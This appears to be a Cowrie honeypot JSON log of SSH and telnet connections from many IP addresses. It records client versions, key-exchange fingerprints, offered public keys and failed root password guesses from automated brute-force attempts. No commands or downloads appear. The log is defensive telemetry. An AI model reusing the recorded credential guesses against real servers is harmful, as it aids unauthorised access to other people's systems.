{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:42:5c:9e:f3:08:8a:df:38:93:67:31:e6:65:0a:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIH+oMRU+ML2h47CiLXVSjB3GLDchPYKDJyicDvsAmzWTYUKBs8EA5JbZQEaeWKtf1fgzDoyAVxKev/99aWSAK0eFWwH6i6sJGfse0oBwa5kQ5htqTFhf+Kkk3Blfc/2OD9wQ031lVGDegKqXKVzstZxS2UzTX6sR7DcdIWFoxY6qn69MHxMlNuzAhwFvaO+roLW9VAr8OxKXnZYbRSRqb+jDvihosudVFTaod5jQFM34k6oH6YH/r+qtsRhrtECX+FLbks/xSQbt/4GCNaTpAvsyIb16+/VtXWrcH64dqB60AScnRCDnRnBVT+XSRWXqy4geVkweIBJBwanOJw2pj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.710839Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:20:6c:9a:03:a8:49:b6:36:3d:a1:eb:4a:67:f0:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa1Fa+XhmD0gXTFZcyyU1ou2k89MittFo5+y7yDZEf2IfTkHKUkyV4C8S05Eg1PbeJ0SkW0R5eWj8ZjmnYP3O3IrJophxMTFgl5yHsNXtyfB79w9Mkyb76okcGqgvSRcr0eIl8iyqSi+Hsewxqr5CPipdtVphJRGRNyPif/GS7jUyhQBRRVh7KRO0eJ2V9cVt7q+UOxwMNwTraM59WCZAoz8ASneOBhf3idG5TZsGOeoWUuY6QMWNbZi0vg3WCluNwyKVN6mS4UljA312eGmjqoEbp/6TVU4aGhbO04lPsIyROher/mZJ00JnacSk2LnLzJrRbjDJLJfoUlJHKddFr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:20:6c:9a:03:a8:49:b6:36:3d:a1:eb:4a:67:f0:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.796322Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:20:6c:9a:03:a8:49:b6:36:3d:a1:eb:4a:67:f0:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa1Fa+XhmD0gXTFZcyyU1ou2k89MittFo5+y7yDZEf2IfTkHKUkyV4C8S05Eg1PbeJ0SkW0R5eWj8ZjmnYP3O3IrJophxMTFgl5yHsNXtyfB79w9Mkyb76okcGqgvSRcr0eIl8iyqSi+Hsewxqr5CPipdtVphJRGRNyPif/GS7jUyhQBRRVh7KRO0eJ2V9cVt7q+UOxwMNwTraM59WCZAoz8ASneOBhf3idG5TZsGOeoWUuY6QMWNbZi0vg3WCluNwyKVN6mS4UljA312eGmjqoEbp/6TVU4aGhbO04lPsIyROher/mZJ00JnacSk2LnLzJrRbjDJLJfoUlJHKddFr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.800423Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:56:57.882562Z","src_ip":"212.192.216.2","session":"c2f2889b84a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45996,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfa96bebda6c","protocol":"ssh","message":"New connection: 77.94.47.83:45996 (159.203.135.109:22) [session: bfa96bebda6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:57:02.928820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:57:02.934592Z","src_ip":"77.94.47.83","session":"bfa96bebda6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:57:03.044551Z","src_ip":"77.94.47.83","session":"bfa96bebda6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forget","message":"login attempt [root/forget] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:57:03.376378Z","src_ip":"77.94.47.83","session":"bfa96bebda6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:57:04.489095Z","src_ip":"77.94.47.83","session":"bfa96bebda6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60968,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c660ba96ab4","protocol":"ssh","message":"New connection: 62.133.62.83:60968 (159.203.135.109:22) [session: 0c660ba96ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:00:47.904098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:00:47.909222Z","src_ip":"62.133.62.83","session":"0c660ba96ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:00:47.988617Z","src_ip":"62.133.62.83","session":"0c660ba96ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"127127","message":"login attempt [root/127127] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:00:48.227842Z","src_ip":"62.133.62.83","session":"0c660ba96ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:00:49.313894Z","src_ip":"62.133.62.83","session":"0c660ba96ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.25.77.55","src_port":34138,"dst_ip":"10.17.0.5","dst_port":23,"session":"e66ee15dd6ec","protocol":"telnet","message":"New connection: 27.25.77.55:34138 (10.17.0.5:23) [session: e66ee15dd6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:00:53.718434Z"}
{"eventid":"cowrie.session.closed","duration":13.59046196937561,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:01:07.308765Z","src_ip":"27.25.77.55","session":"e66ee15dd6ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":44076,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db279acd548","protocol":"ssh","message":"New connection: 147.45.197.250:44076 (159.203.135.109:22) [session: 0db279acd548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:01:37.403633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:01:37.408396Z","src_ip":"147.45.197.250","session":"0db279acd548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:01:37.499889Z","src_ip":"147.45.197.250","session":"0db279acd548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ostrov","message":"login attempt [root/ostrov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:01:37.774609Z","src_ip":"147.45.197.250","session":"0db279acd548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:01:38.869402Z","src_ip":"147.45.197.250","session":"0db279acd548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":48362,"dst_ip":"159.203.135.109","dst_port":22,"session":"955ce4e9a603","protocol":"ssh","message":"New connection: 46.19.67.181:48362 (159.203.135.109:22) [session: 955ce4e9a603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:02:16.340278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:02:16.349196Z","src_ip":"46.19.67.181","session":"955ce4e9a603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:02:16.463617Z","src_ip":"46.19.67.181","session":"955ce4e9a603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1957","message":"login attempt [root/1957] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:02:16.805710Z","src_ip":"46.19.67.181","session":"955ce4e9a603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:02:17.923369Z","src_ip":"46.19.67.181","session":"955ce4e9a603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36592,"dst_ip":"159.203.135.109","dst_port":22,"session":"49cb69df6760","protocol":"ssh","message":"New connection: 103.176.20.57:36592 (159.203.135.109:22) [session: 49cb69df6760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:23.185463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:23.191198Z","src_ip":"103.176.20.57","session":"49cb69df6760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:23.449330Z","src_ip":"103.176.20.57","session":"49cb69df6760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newdom","message":"login attempt [root/newdom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:24.234703Z","src_ip":"103.176.20.57","session":"49cb69df6760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:25.494188Z","src_ip":"103.176.20.57","session":"49cb69df6760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":35818,"dst_ip":"159.203.135.109","dst_port":22,"session":"e959878a0636","protocol":"ssh","message":"New connection: 103.149.28.157:35818 (159.203.135.109:22) [session: e959878a0636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:57.019938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:57.025430Z","src_ip":"103.149.28.157","session":"e959878a0636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:57.318432Z","src_ip":"103.149.28.157","session":"e959878a0636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cegthvty","message":"login attempt [root/cegthvty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:58.108453Z","src_ip":"103.149.28.157","session":"e959878a0636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:03:59.361997Z","src_ip":"103.149.28.157","session":"e959878a0636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":54130,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f043d389bb","protocol":"ssh","message":"New connection: 37.233.85.71:54130 (10.17.0.5:22) [session: 60f043d389bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:04:17.694314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:04:17.701498Z","src_ip":"37.233.85.71","session":"60f043d389bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:04:17.806068Z","src_ip":"37.233.85.71","session":"60f043d389bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petrovna","message":"login attempt [root/petrovna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:04:18.121331Z","src_ip":"37.233.85.71","session":"60f043d389bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:04:19.229111Z","src_ip":"37.233.85.71","session":"60f043d389bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":43638,"dst_ip":"10.17.0.5","dst_port":22,"session":"f86661ee7f14","protocol":"ssh","message":"New connection: 94.159.98.239:43638 (10.17.0.5:22) [session: f86661ee7f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:05:21.018589Z"}
